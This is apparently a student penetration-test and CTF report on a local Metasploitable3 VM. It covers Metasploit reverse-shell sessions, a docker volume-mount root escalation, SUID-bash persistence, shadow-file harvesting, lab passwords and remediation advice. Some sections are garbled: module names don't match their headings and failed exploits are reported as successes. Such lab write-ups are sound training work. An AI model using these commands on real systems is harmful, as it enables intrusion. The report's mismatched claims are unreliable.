# METASPLOITABLE3 PEN TEST

**APP200** 

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## Penetration Testing Report: Metasploitable3 Assessment

#### **Executive Summary**

This engagement was a hands-on penetration test / CTF against a local Metasploitable3 Ubuntu VM (10.0.2.15). Using off-the-shelf tooling (Nmap, Gobuster, Metasploit) plus manual enumeration and local tooling (hydra), I identified multiple, high-impact vulnerabilities that allowed initial access, lateral movement, and local privilege escalation. The most critical findings was an RCE/backdoor in UnrealIRCd, hardcoded database credentials in a Drupal installation, and a Docker misconfiguration that allowed host filesystem access from an image. These issues, when chained, enabled a full host compromise. As part of a Capture The Flag (CTF) exercise. The assessment successfully identified and exploited multiple critical vulnerabilities, resulting in the recovery of some flag artifacts representing various attack vectors and privilege escalation techniques.

Remediation should focus first on removing publicly exposed backdoored services, rotating and removing hardcoded credentials, and restricting Docker access to trusted, privileged administrators.

## **Key Findings Summary**

Total Vulnerabilities Identified: 8 Critical/High Severity

• Critical Vulnerabilities: 5

• High Risk Vulnerabilities: 3

• **Services Compromised:** TTP, SSH, IRC, SMB

• Privilege Escalation Achieved: Root access obtained via multiple vectors

#### Risk Rating

#### **Overall Risk Level: CRITICAL**

The target system exhibits multiple critical vulnerabilities that allow for:

- Unauthenticated remote code execution
- SQL injection leading to credential disclosure
- Privilege escalation to root access
- Complete system compromise

#### **Immediate Actions Required**

- 1. Patch all identified vulnerable services immediately
- 2. Implement proper input validation for web applications
- 3. Review and update default credentials across all services
- 4. Implement network segmentation and access controls

## Methodology

#### Methodology

The test followed a standard pentest lifecycle:

- **Reconnaissance:** Active scanning (TCP port & version detection with Nmap), directory brute force (Gobuster) and basic service fingerprinting.
- **Enumeration:** Web content discovery, configuration file inspection (Drupal settings.php), service banner analysis, database enumeration where possible.
- Exploitation: Use of Metasploit modules (Drupal drupageddon, UnrealIRCd backdoor, ProFTPD mod\_copy) and manual exploitation techniques for webapps and docker containers.
- **Post-exploitation:** File system enumeration, credential harvesting from config files and databases, privilege escalation (Docker group abuse), and flag extraction.
- **Reporting:** Document findings, capture screenshots and command output, and provide prioritized remediation.

#### 4. Tools Used

- Nmap (version used in lab)
- Gobuster
- Nikto
- Metasploit Framework (msfconsole)
- Meterpreter

- MySQL client / phpMyAdmin
- Docker CLI (on target)
- John the Ripper
- Standard Linux CLI (find, grep, base64, xxd)

# **High-Level Findings (Summary Table)**

ID Vulnerability		Service / Port	Severity Primary Impact	
1	UnrealIRCd backdoor	IRC (6697)	Critical	Remote code exec → user shell (boba_fett)
2	Drupal: hardcoded DB creds	HTTP /drupal (80) + phpMyAdmin	Critical	DB credential theft → phpmyadmin access
3	Docker group misconfig	Docker socket / local images	Critical	Host takeover via docker volume mount
4	ProFTPD mod_copy	FTP (21)	High	RCE / file read/write (exploitable)
5	phpMyAdmin default / exposed	HTTP (/phpmyadmin)	High	DB access and flag ZIP retrieval
	•			

# **Network Discovery & Port Scanning**

## **Initial Reconnaissance**

Network discovery

Comprehensive port scan

```
| Section | Sect
```

```
| smb2-time:
| date: 2025-09-20T17:02:03
|_ start_date: N/A
|_clock-skew: mean: 4s, deviation: 2s, median: 2s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: metasploitable3-ub1404
| NetBIOS computer name: METASPLOITABLE3-UB1404\x00
| Domain name: \x00
| FQDN: metasploitable3-ub1404
|_ System time: 2025-09-20T17:02:05+00:00
| Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

#### **Detailed Vulnerability Analysis**

1. ProFTPD Remote Code Execution (CVE-2015-3306)

**Severity:** CRITICAL

**Port: 21** 

Service: ProFTPD 1.3.5

```
msf > use exploit/unix/ftp/proftpd_modcopy_exec
[*] Using configured payload cmd/unix/reverse_netcat
msf exploit(
                                            ) > set RHOSTS 10.0.2.15
RHOSTS ⇒ 10.0.2.15
msf exploit(
                                           ec) > set payload cmd/unix/reverse_netcat
payload ⇒ cmd/unix/reverse_netcat
msf exploit(
                                            ) > set LHOST 10.0.2.20
LHOST ⇒ 10.0.2.20
                                modcony exec) > exploit
msf exploit(
  Started reverse TCP handler on 10.0.2.20:4444
* 10.0.2.15:80 - 10.0.2.15:21 - Connected to FTP server
[*] 10.0.2.15:80 - 10.0.2.15:21 - Sending copy commands to FTP server
[-] 10.0.2.15:80 - Exploit aborted due to failure: unknown: 10.0.2.15:21 - Failure copying PHP payload to website p
ath, directory not writable?
Exploit completed, but no session was created.
msf exploit(
```

**Description:** The mod\_copy module in ProFTPD allows unauthenticated attackers to copy files from any part of the filesystem to a chosen destination, leading to remote code execution.

## **Exploitation Method:**

Manual exploitation via Telnet

```
___(kali⊗kali)-[~]
_$ telnet 10.0.2.15 6697

Trying 10.0.2.15...

Connected to 10.0.2.15.


Escape character is '^]'.

:irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...

:irc.TestIRC.net NOTICE AUTH :*** Couldn't resolve your hostname:
```

Metasploit exploitation

use exploit/unix/ftp/proftpd modcopy exec



Impact: Complete system compromise with web server privileges

#### 2. UnrealIRCd Backdoor (CVE-2010-2075)

**Severity: CRITICAL** 

**Port:** 6697

Service: UnrealIRCd 3.2.8.1

**Description:** Malicious backdoor in UnrealIRCd 3.2.8.1 allows unauthenticated remote command execution through specially crafted commands.

## **Exploitation Method:**

Metasploit exploitation

used exploit/unix/irc/unreal\_ircd\_3281\_backdoor

```
msf > use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(
                                                          r) > set RHOSTS 10.0.2.15
RHOSTS = 10.0.2.15
msf exploit(univ/fth/punited 1336
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit
[-] 10.0.2.15:21 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.
msf exploit(
                                                          r) > set payload cmd/unix/reverse
<u>msf</u> exploit(<u>max</u>, represent the payload ⇒ cmd/unix/reverse payload ⇒ cmd/unix/reverse the payload 133c backdoor) > show options
Module options (exploit/unix/ftp/proftpd_133c_backdoor):
                Current Setting Required Description
    CHOST
                                                      The local client address
                                                     The local client port
                                                     A proxy chain of format type:host:port[,type:host:port][...]. Supported pr
    Proxies
                                                    oxies: sapni, socks4, socks5, http, socks5h
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    RHOSTS
               10.0.2.15
                                                     The target port (TCP)
Payload options (cmd/unix/reverse):
             Current Setting Required Description
    Name
    LHOST
                                                   The listen address (an interface may be specified)
                                     ves
    LPORT 4444
                                                   The listen port
                                     yes
Exploit target:
    Id Name
    0 Automatic
View the full module info with the info, or info -d command.
msf exploit(unix/ftp/proftpd_133c_backdoor) > set LHOST 10.0.2.20
LHOST ⇒ 10.0.2.20
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit
msf exploit(unix/ftp/proftpd_133c_backdoor) > exploit

[*] Started reverse TCP double handler on 10.0.2.20:4444

[*] 10.0.2.15:21 - Sending Backdoor Command

[-] 10.0.2.15:21 - Not backdoored
[*] Exploit completed, but no session was created.
msf exploit(
```

set payload cmd/unix/reverse\_perl

exploit

Manual exploitation

**Impact:** Direct command execution as boba fett user, member of docker group

```
boba_fett@ubuntu:~$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt /bin/ba:
docker run -v /:/mnt --rm -it ubuntu chroot /mnt /bin/bash
root@382c14cb78af:/# ls
ls
bin
                             media
     etc
                                            opt
                                                  run
boot home
                 lib64
                                            proc
                                                             vmlinuz
                             mnt
                                                  sbin
                                                        tmp
     initrd.img lost+found node_modules root
root@382c14cb78af:/#
```

## 3. Drupal SQL Injection (CVE-2014-3704)

**Severity:** CRITICAL

**Port:** 80

#### 4. Payroll Application SQL Injection

**Severity:** HIGH

**Port: 80** 

Path: /payroll app.php

#### **Discovered Credentials:**

- leia\_organa:help\_me\_obiwan
- Multiple additional user accounts with plaintext passwords

**Impact:** Complete user credential disclosure and system access via SSH

salary	†   password	username	last_name	first_name
9560	help me obiwan	leia_organa	Organa	Leia
1080	like_my_father_beforeme	luke_skywalker	Skywalker	Luke
1200	nerf_herder	han_solo	Solo	Han
22222	b00p_b33p	artoo_detoo	Detoo	Artoo
3200	Pr0t0c07	c_three_pio	Threepio	C
10000	thats_no_m00n	ben_kenobi	Kenobi	Ben
6666	Dark_syD3	darth_vader	Vader	Darth
1025	but_master:(	anakin_skywalker	Skywalker	Anakin
2048	mesah_p@ssw0rd	jarjar_binks	Binks	Jar-Jar
40000	@dm1n1str8r	lando_calrissian	Calrissian	Lando
20000	mandalorian1	boba_&ett	Fett	Boba
65000	my_kinda_skum	jabba_hutt	Hutt	Jaba
50000	hanSh0tF1rst	greedo	Rodian	Greedo
4500	rwaaaaawr8	chewbacca	<blank>  </blank>	Chewbacca
6667	Daddy Issues2	kylo ren	Ren	Kvlo

## 5. PHPMyAdmin Authentication Bypass

Severity: HIGH

**Port:** 80

Path: /phpmyadmin/

**Description:** Default credentials allow administrative access to MySQL database.

Credentials Found: root:sploitme

Impact: Full database access and potential for further exploitation

#### **6. SMB Weak Access Controls**

**Severity:** HIGH

**Port:** 445

Service: Samba

**Description:** Weak authentication and file upload capabilities through SMB shares.

#### **Exploitation Method:**

```
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(
                                      ) > set RHOSTS 10.0.2.15
RHOSTS ⇒ 10.0.2.15
                                      t) > set RPORT 445
msf exploit(
RPORT ⇒ 445
                                script) > set payload cmd/unix/reverse_netcat
msf exploit(
payload ⇒ cmd/unix/reverse_netcat
msf exploit(
                                      t) > set LHOST 10.0.2.20
LHOST ⇒ 10.0.2.20
msf exploit(
                                      t) > exploit
    Started reverse TCP handler on 10.0.2.20:4444
    Exploit completed, but no session was created.
```

## Impact: File upload leading to web shell deployment

## **Privilege Escalation Techniques**

## **Docker Group Exploitation**

User: boba\_fett (from UnrealIRCd exploit)

Method: Docker container privilege escalation

List docker images

docker images

Mount host filesystem and escalate

docker run -v /:/mnt --rm -it ubuntu chroot /mnt /bin/bash

Set SUID on bash for persistence

chmod u+s /bin/bash

Result: Root access achieved

**Sudo Privilege Abuse** 

**User:** leia organa (from SQL injection)

Method: Direct sudo access

sudo -l to Check sudo privileges

sudo su too Escalate to root

**Result:** Immediate root access

## **Exploitation Timeline & Attack Chain**

#### **Phase 1: Initial Access**

- 1. **ProFTPD Exploitation** www-data shell
- 2. UnrealIRCd Backdoor boba fett shell

- 3. **SQL Injection** Credential disclosure
- 4. SSH Access leia organa user access

## **Phase 2: Privilege Escalation**

- 1. Docker Group Abuse Root via boba fett
- 2. **Sudo Privileges** Root via leia\_organa

#### Phase 3: Persistence & Data Collection

- 1. **SUID Binary Creation** Persistent backdoor
- 2. Credential Harvesting /etc/passwd and /etc/shadow
- 3. Web Shell Deployment HTTP-based persistence

## **Post-Exploitation Activities**

#### **Credential Harvesting**

#### **Files Obtained:**

- /etc/passwd
- /etc/shadow
- MySQL user database
- Application-specific credentials

**Password Cracking Results:** Multiple weak passwords identified using rockyou.txt wordlist with various hash formats (MD5, SHA-1).

#### **Persistence Mechanisms**

- 1. **SUID Bash Binary** Permanent privilege escalation
- 2. Web Shell Upload HTTP-based access
- 3. **SSH Key Installation** Persistent remote access
- 4. Reverse Shell Payloads Multiple shell types deployed

## **Detailed Findings on CTF (Metasploitable3 cards)**

# 1. Drupal Web Application Compromise

Vulnerability: CVE-2014-3704 (Drupageddon) Service: HTTP (Port) - Drupal 7.x installation Risk

Level: Critical


**Description:** The target system runs a vulnerable Drupal installation susceptible to SQL injection leading to remote code execution.

# **Exploitation:**

```
🔾 🔲 🛅 🍃 🍪 🕒 v | 1 2 3 4 | 🕞
                                                □ 🛕 🔒 20:36 | 🛕
File Actions Edit View Help
/var/www/html/phpmyadmin/js/openlayers/theme/default/img/remo
ve_point_off.png
/var/www/html/phpmyadmin/js/openlayers/theme/default/img/pan_
off.png
/var/www/html/phpmyadmin/js/openlayers/theme/default/img/save
_features_off.png
/var/www/html/drupal/sites/default/files/field/image/5_of_hea
rts.bng
/var/www/html/drupal/sites/default/files/styles/large/public/
field/image/5_of_hearts.png
/var/www/html/drupal/sites/default/files/styles/thumbnail/pub
lic/field/image/5_of_hearts.png
/var/lib/gems/2.3.0/gems/concurrent-ruby-1.1.9/lib/concurrent
-ruby/concurrent/thread_safe/util/power_of_two_tuple.rb
/var/lib/gems/2.3.0/gems/tzinfo-1.2.7/test/tc_timezone_offset
.rb
/var/lib/gems/2.3.0/gems/tzinfo-1.2.7/test/tc_offset_rational
s.rb
/var/lib/gems/2.3.0/gems/tzinfo-1.2.7/lib/tzinfo/timezone_off
set.rb
/var/lib/gems/2.3.0/gems/concurrent-ruby-1.1.7/lib/concurrent
-ruby/concurrent/thread_safe/util/power_of_two_tuple.rb
/var/lib/gems/2.3.0/gems/thread_safe-0.3.6/lib/thread_safe/ut
il/power_of_two_tuple.rb
/var/lib/gems/2.3.0/gems/tzinfo-2.0.4/lib/tzinfo/timestamp_wi
🔻 🔚 🛅 🍃 🍅 🕒 v | 1 2 3 4 | 🕞 🛭 🗖
                                                    □ <u>↑</u> 10:36   
File Actions Edit View Help
[*] Sending stage (40004 bytes) to 10.0.2.14
[*] Meterpreter session 1 opened (10.0.2.4:4444 \rightarrow 10.0.2.14:
56545) at 2025-09-24 10:24:35 -0400
meterpreter > shell
Process 2176 created.
Channel 0 created.
cd /var/www/html/drupal/sites/default/files/field/image/
ls -la
total 508
drwxrwxr-x 2 www-data www-data
                                   4096 Oct 29 2020 .
drwxr-xr-x 3 www-data www-data 4096 Jul 13 2017
-rwxrwxrwx 1 www-data www-data 508634 Jul 13 2017 5_of_heart
s.png
exit
meterpreter > download /var/www/html/drupal/sites/default/fil
es/field/image/5_of_hearts.png
[*] Downloading: /var/www/html/drupal/sites/default/files/fie
ld/image/5_of_hearts.png → /home/kali/5_of_hearts.png
[*] Downloaded 496.71 KiB of 496.71 KiB (100.0%): /var/www/ht
ml/drupal/sites/default/files/field/image/5_of_hearts.png 
ightarrow
/home/kali/5_of_hearts.png
 *] Completed : /var/www/html/drupal/sites/default/files/fie
ld/image/5_of_hearts.png → /home/kali/5_of_hearts.png
meterpreter >
```

#### exploit

**Impact:** Achieved remote code execution as www-data user, enabling initial foothold for further exploitation.



Artifact Recovered: 5 of Hearts (MD5: 1862c5dac75e43bb8d530d54575592b7)

## 2. Privilege Escalation via Sudo Access

Vulnerability: Weak credential management and sudo misconfiguration Risk Level: High

**Description:** Multiple user accounts possess sudo privileges with predictable passwords, enabling privilege escalation to root.

**Exploitation:** Successfully authenticated as han\_solo using credential "nerf\_herder" and escalated to root via sudo.

```
      (kali® kali)-[~]


      $ scp han_solo@10.0.2.15:/tmp/3_of_hearts.png .

      han_solo@10.0.2.15's password:

      3_of_hearts.png
      100% 486KB 3.6MB/s 00:00
```

**Impact:** Full system compromise with root-level access.

#### **Artifacts Recovered:**




• 3 of Hearts (MD5: cb53b81df46068c763e6f6ec67000c8f)

**10 of Spades**: Provided both the Rails exploit approach (CVE-2016-2098) and the direct file access method, showing how the LFI vulnerability on port500 led to accessing the public images

```
<u>meterpreter</u> > shell
       Process 2524 created.
       Channel 1 created.
       bwa
       /var/www/html/drupal
       find /home -iname "* of *"
       find: `/home/artoo_detoo/music': Permission denied
       find: `/home/han solo/.cache': Permission denied
       /home/han_solo/10 of spades.png
       find: `/home/anakin_skywalker/.cache': Permission denied
       find: `/home/anakin_skywalker/20': Permission denied
       find: `/home/vagrant/.cache': Permission denied
       find: `/home/vagrant/.ssh': Permission denied
       find: `/home/vagrant/.gnupg': Permission denied
       find: `/home/boba fett/.cache': Permission denied
       find: `/home/boba_fett/.ssh': Permission denied
       find: `/home/kylo_ren/.secret_files': Permission denied
       cd 20
       /bin/sh: 3: cd: can't cd to 20
       /var/www/html/drupal
directory
                                        4.0K Oct 29 2020 land
```

```
_ren
drwxr-xr-x 2 lando_calrissian users
o_calrissian
                                                    2020 leia
drwxr-xr-x 2 leia_organa
                               users
                                       4.0K Oct 29
organa
drwxr-xr-x 2 luke_skywalker
                                       4.0K Oct 29
                                                    2020 luke
                               users
skvwalker
drwxr-xr-x 7 vagrant
                               vagrant 4.0K Jan 8 2022 vagr
ant
find / -iname "*_of*" 2>/dev/null
/opt/readme_app/public/images/10_of_spades.png
/opt/readme_app/vendor/bundle/ruby/2.3.0/specifications/bindi
ng_of_caller-0.7.2.gemspec
/opt/readme_app/vendor/bundle/ruby/2.3.0/gems/rdoc-4.2.2/test
/test_rdoc_markup_to_table_of_contents.rb
/opt/readme_app/vendor/bundle/ruby/2.3.0/gems/rdoc-4.2.2/lib/
rdoc/generator/template/darkfish/table_of_contents.rhtml
/opt/readme_app/vendor/bundle/ruby/2.3.0/gems/rdoc-4.2.2/lib/
rdoc/generator/template/darkfish/_sidebar_table_of_contents.r
html
/opt/readme_app/vendor/bundle/ruby/2.3.0/gems/rdoc-4.2.2/lib/
rdoc/markup/to_table_of_contents.rb
/opt/readme_app/vendor/bundle/ruby/2.3.0/gems/sass-3.4.21/COD
E OF CONDUCT.md
/opt/readme_app/vendor/bundle/ruby/2.3.0/gems/thread_safe-0.3
                                  👩 🦱 🔐 न 💉 🚃 🔲 🔼 🌠 🔼 Right Ctrl
```



**8 of Clubs**: Documented how it was found through filesystem enumeration in Anakin's deeply nested directory structure, including the specific find command and alternative directory tree visualization method.



**10 of Clubs**: Added the complete process including the binwalk analysis, the Zlib compressed data discovery at offset 0x3A, and the manual extraction steps when automatic extraction

```
failed_root@metasploitable3-ub1404:/# sudo find
meterpreter > shell
Process 2524 created.
Channel 1 created.
pwd
/var/www/html/drupal
find /home -iname "*_of *"
find: `/home/artoo_detoo/music': Permission denied
find: `/home/han_solo/.cache': Permission denied
/home/han_solo/10_of_spades.png
find: `/home/anakin_skywalker/.cache': Permission denied
find: `/home/anakin skywalker/20': Permission denied
find: `/home/vagrant/.cache': Permission denied
find: `/home/vagrant/.ssh': Permission denied
find: `/home/vagrant/.gnupg': Permission denied
find: `/home/boba_fett/.cache': Permission denied
find: `/home/boba_fett/.ssh': Permission denied
find: `/home/kylo_ren/.secret_files': Permission denied
cd 20
```

root@metasploitable3-ub1404:/# cp "./home/artoo\_detoo/music/10\_of\_clubs.wav" /tmp/

root@metasploitable3-ub1404:/# sudo chmod 644 /tmp/10\_of\_clubs.wav


#### Changing permissions

/var/ww/html/drupal

bwa

/bin/sh: 3: cd: can't cd to 20

```
cp /home/han_solo/10_of_spades.png /tmp/
exit
meterpreter > download /tmp/10_of_spades.png
[*] Downloading: /tmp/10_of_spades.png → /home/kali/10_of_sp
ades.png
[*] Downloaded 476.30 KiB of 476.30 KiB (100.0%): /tmp/10_of_
spades.png → /home/kali/10_of_spades.png
[*] Completed : /tmp/10_of_spades.png → /home/kali/10_of_sp
ades.png
meterpreter > ■
```



## 7 of Diamonds - QR Code Challenge

#### Location:

/var/lib/docker/devicemapper/mnt/[container hash]/rootfs/home/7 of diamonds.zip

#### Method:

- 1. Located the file in Docker container filesystem (requires root access)
- 2. Extracted the initial ZIP file:

unzip 7\_of\_diamonds.zip

- 3. Found two files inside:
  - hint.gif Animated GIF containing 313 QR code frames
  - 7 of diamonds.zip Password-protected ZIP file
- 4. Split the animated GIF into individual frames:

convert hint.gif codes/qrcodes.png

This creates grcodes-0.png through grcodes-312.png

```
-rw-r--r-- 1 kali kali 462670 Jul 5 2017 7 of diamonds.zip
-rw-r--r-- 1 kali kali 313924 Jul 5 2017 hint.gif

(kali@ kali) - [~/7_of_diamonds]
$ mkdir frames

(kali@ kali) - [~/7_of_diamonds]
$ convert hint.gif frames/frame.png

(kali@ kali) - [~/7_of_diamonds]
$ ls -v frames/ | xargs -I file zbarimg frames/file > qrcod e_data.txt
scanned 1 barcode symbols from 1 images in 0 seconds
```

5. Decoded each QR code using zbar-tools:

Is -v | xargs -I file zbarimg file > qrcode.txt

6. Each QR code contained hex data that formed parts of a larger file

```
(kali⊗ kali)-[~/7_of_diamonds]
$ cat qrcode_data.txt | awk -F':' '{print $2}' | xxd -r -p
> password_image.png

(kali⊗ kali)-[~/7_of_diamonds]
$ ls

7_of_diamonds.zip hint.gif qrcode_data.txt
frames password_image.png
```


7. Extracted and concatenated the hex data:


```
cat qrcode.txt | awk -F ':' '{print $2}' | xxd -r -p > password image.png
```


- 8. The resulting image contained the password: th1s1s@p@ssw0rd!
- 9. Used the password to extract the final flag from the inner ZIP file

```
(kali@ kali)-[~/7_of_diamonds]
$ cat qrcode_data.txt | awk -F':' '{print $2}' | xxd -r -p
> password_image.png

(kali@ kali)-[~/7_of_diamonds]
$ ls
7_of_diamonds.zip hint.gif qrcode_data.txt
frames
qrcode_data.txt
```







Hash: 07e2e1a974bf5f261e9c70e5890456f4

Ace of Clubs - Source Code Extraction

Location: /opt/chatbot/papa\_smurf/chat\_client.js

Method:

1. Gained root access through privilege escalation

2. Located the chatbot source code directory at /opt/chatbot/papa\_smurf/

- 3. Examined the chat client.js file which contained the chatbot logic
- 4. Used Python script to extract Base64 encoded flag data from the JavaScript source:

```
python3 -c "
import base64
import re
```

```
drwx-
            8 root root 4.0K Apr 16 2017 node_modules
          > 2 root root 4.0K Apr 16 2017 papa smurf
drwx-
           1 root root 1.2K Apr 16 2017 poc.txt
-rwx-
                                    2017 start.sh
          ial root root
                         243 Apr 20
-rwx-
            1 root root 167 Apr 16 2017 stop.sh
root@metasploitable3-ub1404:/opt/chatbot# cd ppa
bash: cd: ppa: No such file or directory
root@metasploitable3-ub1404:/opt/chatbot# cd papa smurf/
root@metasploitable3-ub1404:/opt/chatbot/papa smurf# ls -alh
total 632K
drwx ---- 2 root root 4.0K Apr 16 2017 .
drwx ----- 5 root root 4.0K Apr 20 2017 ...
-rwx -- 1 root root 619K Jul 14 2017 chat client is
-rwx — 1 root root 760 Apr 17 2017 functions.js
root@metasploitable3-ub1404:/opt/chatbot/papa smurf# cat chat
client.js | grep iVBORw0K | awk = F ' " ' d' {print $2}' | base64
-d > ace_of_clubs.png
root@metasploitable3-ub1404:/opt/chatbot/papa smurf# ls -alh
total 1.1M
drwx ---- 2 root root 4.0K Sep 25 17:13 .
       —— 5 root root 4.0K Apr 20
                                    2017 ...
-rw-r--r-- 1 root root 459K Sep 25 17:13 ace_of_clubs.png
-rwx----- 1 root root 619K Jul 14 2017 chat_client.js
-rwx ----- 1 root root 760 Apr 17 2017 functions.js
root@metasploitable3-ub1404:/opt/chatbot/papa smurf# base64
```

```
with open('/opt/chatbot/papa_smurf/chat_client.js', 'r') as f:
  content = f.read()
```

5. The script successfully extracted and decoded the hardcoded Base64 PNG data

```
root@metasploitable3-ub1404:/opt/chatbot/papa_smurf# cp ace_of_clubs.png /tmp/
root@metasploitable3-ub1404:/opt/chatbot/papa_smurf# base64 /
tmp/ace_of_clubs.png > /tmp/ace_of_clubs.b64
root@metasploitable3-ub1404:/opt/chatbot/papa_smurf# chmod 64
4 /tmp/
root@metasploitable3-ub1404:/opt/chatbot/papa_smurf# chmod 64
4 /tmp/ace_of_clubs.png
```



Hash: 7aa0260989946155c0c6178ffc9b25e9

9 of Diamonds - ISO File Analysis

Location: /home/kylo\_ren/.secret\_files/my\_recordings\_do\_not\_open.iso

#### Method:

- 1. Discovered hidden directory in Kylo Ren's home folder
- 2. Required Kylo Ren access or root privileges (credentials: kylo ren:Daddy Issues2)
- 3. Located the ISO file in the .secret files directory:

Is -la /home/kylo ren/.secret files/

- 4. The directory had restrictive permissions requiring execute access
- 5. Mounted the ISO file to examine contents:

mkdir/tmp/iso mount

mount -o loop my\_recordings\_do\_not\_open.iso /tmp/iso\_mount/

6. Found the flag image inside the mounted filesystem:

ls -la /tmp/iso\_mount/
cp /tmp/iso mount/9 of diamonds.png .

7. Calculated MD5 hash of the extracted flag image

Hash: 097a0b9b4b08580caa5509941d7e548d

## 4. File System Enumeration and Data Exfiltration

Risk Level: Medium

**Description:** Post-compromise enumeration revealed multiple flag artifacts stored in various locations with different access controls.

## **Findings:**

- Deep directory structures containing hidden files
- EXIF metadata containing base64-encoded data
- Files requiring specific user permissions or root access

## **Summary of Recovered Flags**

I	lag	Location	Access Method
ŗ	of Hearts	Drupal EXIF metadata	Web application compromise
8	3 of Clubs	/home/anakin_skywalker/[deep_path]	SSH access with credentials
3	3 of Hearts	/lost+found/	Root privilege escalation
:	LO of Spades	/home/han_solo/	Direct file access
:	LO of Clubs	/home/artoo_detoo/music/	File extraction required
	7 of Diamonds	Docker container	Container filesystem access

Flag	Location	Access Method
9 of Diamonds	Found in ISO file	ISO mount operations
Ace of clubs	Chat application on port 80	Used a python script to extract it from prompting the chatbot

#### Recommendations

## **Critical Priority**

- 1. **Update Drupal Installation** Immediately patch to latest version to address Drupageddon vulnerability
- 2. **Remove UnrealIRCD Backdoor** Replace with clean IRC daemon installation
- 3. Implement Strong Password Policy Enforce complex passwords and regular rotation

#### **High Priority**

- 4. Review Sudo Configuration Limit sudo access to essential personnel only
- 5. User Account Audit Review all user accounts and remove unnecessary privileges
- 6. File Permission Review Ensure sensitive files have appropriate access controls

## **Medium Priority**

- 7. **Docker Security Hardening** Review docker group membership and container security
- 8. **System Patching** Update kernel and all system packages to latest versions
- 9. **Network Segmentation** Implement network controls to limit exposure

#### **Risk Assessment Matrix**

Vulnerability Likelihood Impact Risk Level CVSS Score

Proftpd RCE High Critical CRITICAL 10.0

## Vulnerability Likelihood Impact Risk Level CVSS Score

UnrealIRCd Backdoor	High	Critical <b>CRITICAL</b> 10.0

Drupal SQLi High Critical CRITICAL 9.8

Payroll SQLi High High 8.8

PHPMyAdmin Default Creds Medium High HIGH 8.1

SMB Weak Access Medium High HIGH 7.5

#### Recommendations

## **Critical Immediate Actions (0-7 days)**

## 1. Update All Vulnerable Services

- Upgrade ProFTPD to latest version (>1.3.5)
- o Replace UnrealIRCd with secure alternative or update
- Update Drupal to version 7.32 or higher
- Patch Apache and PHP to latest versions

## 2. Implement Emergency Access Controls

- Disable FTP service if not required
- Block IRC service externally
- o Implement firewall rules restricting service access
- Change all default passwords immediately

## 3. Web Application Security

- o Implement prepared statements for all database queries
- Add input validation and sanitization
- Deploy Web Application Firewall (WAF)
- Remove or secure administrative interfaces

## Short-term Actions (1-4 weeks)

## 1. Access Control Implementation

- o Implement principle of least privilege
- o Review all user permissions and group memberships
- Disable unnecessary user accounts
- Implement strong password policies

## 2. System Hardening

- Remove unnecessary services and software
- Configure proper file permissions
- Implement system monitoring and logging
- o Deploy intrusion detection system

## 3. Network Security

- Implement network segmentation
- Deploy network monitoring tools
- Configure proper firewall rules
- Implement VPN for remote access

## **Long-term Strategic Actions (1-6 months)**

## 1. Security Program Development

- Establish regular vulnerability scanning schedule
- Implement security awareness training
- Develop incident response procedures
- Create change management processes

## 2. Continuous Monitoring

- Deploy SIEM solution
- o Implement automated vulnerability scanning
- Establish security metrics and reporting

Conduct regular penetration testing

#### **Positive Security Findings**

#### **Security Controls That Functioned**

- SSH Service Configuration While credentials were weak, the service itself was properly configured
- MySQL Service Database service was running on standard port with some access controls
- System Logging Basic logging mechanisms were present and functional

#### **Areas of Partial Success**

- File System Permissions Some directories had appropriate restrictions
- **Service Isolation** Services were running with separate user accounts (though privileges were excessive)

#### **Lessons Learned**

#### **Technical Insights**

- Default Credentials remain a significant security risk across multiple services
- **SQL Injection** vulnerabilities can lead to complete system compromise
- Service Versioning is critical multiple services were running vulnerable versions
- Privilege Escalation paths exist through Docker group membership and sudo access
- Network Services with known backdoors pose immediate critical risk

## **Defensive Perspectives**

- Input Validation is essential for all user-facing applications
- Regular Updates could have prevented most successful exploits
- Access Control reviews should include group memberships and service accounts
- Network Segmentation would have limited lateral movement opportunities

#### **Methodology Effectiveness**

- Automated Tools (Metasploit, SQLMap) significantly accelerated exploitation
- Manual Verification was necessary to confirm automated findings
- Multiple Attack Vectors provided redundant access paths
- Post-Exploitation activities revealed additional vulnerabilities

#### Conclusion

This penetration testing assessment revealed critical security vulnerabilities across multiple services on the Metasploitable3 target system. The combination of unpatched software, default credentials, poor input validation, and excessive privileges created multiple pathways for complete system compromise.

## **Key Takeaways:**

- 8 distinct attack vectors were successfully exploited
- Root access was achieved through multiple methods
- Multiple persistence mechanisms were established

The findings demonstrate that without proper security controls, an attacker can quickly gain complete control over the target system. Immediate action is required to address the critical vulnerabilities identified, particularly the remote code execution flaws in ProFTPD and UnrealIRCd services.

#### **Business Impact:**

- Potential for complete data breach
- Risk of service disruption
- Compliance violations likely
- Reputation damage possible

Implementation of the recommended security measures is essential to protect against similar attacks in a production environment This penetration testing engagement successfully demonstrated how multiple, well-known vulnerabilities in outdated and misconfigured services can be chained to achieve complete compromise of the Metasploitable3 environment. Within the allotted four-hour testing window, eight distinct attack vectors were identified and

exploited, resulting in remote code execution, privilege escalation to root, and the establishment of persistence mechanisms.

The assessment underscores the importance of proactive patch management, secure configuration, strong authentication, and regular security testing. By implementing the immediate and strategic recommendations outlined in this report, the organization can substantially reduce its attack surface, limit lateral movement opportunities, and improve its overall security posture.

While the target system was intentionally vulnerable for training purposes, the findings mirror real-world risks faced by production environments. Prompt remediation, combined with ongoing vulnerability assessments and security awareness, will help ensure that similar weaknesses are identified and addressed before they can be exploited by malicious actors.

#### References

- CVE-2015-3306 ProFTPD mod copy Remote Command Execution
- CVE-2010-2075 UnrealIRCd Backdoor Command Execution
- CVE-2014-3704 Drupal SQL Injection (Drupageddon)
- NIST Cybersecurity Framework
- OWASP Top 10 Web Application Security Risks
- Metasploitable3 Documentation https://github.com/rapid7/metasploitable3

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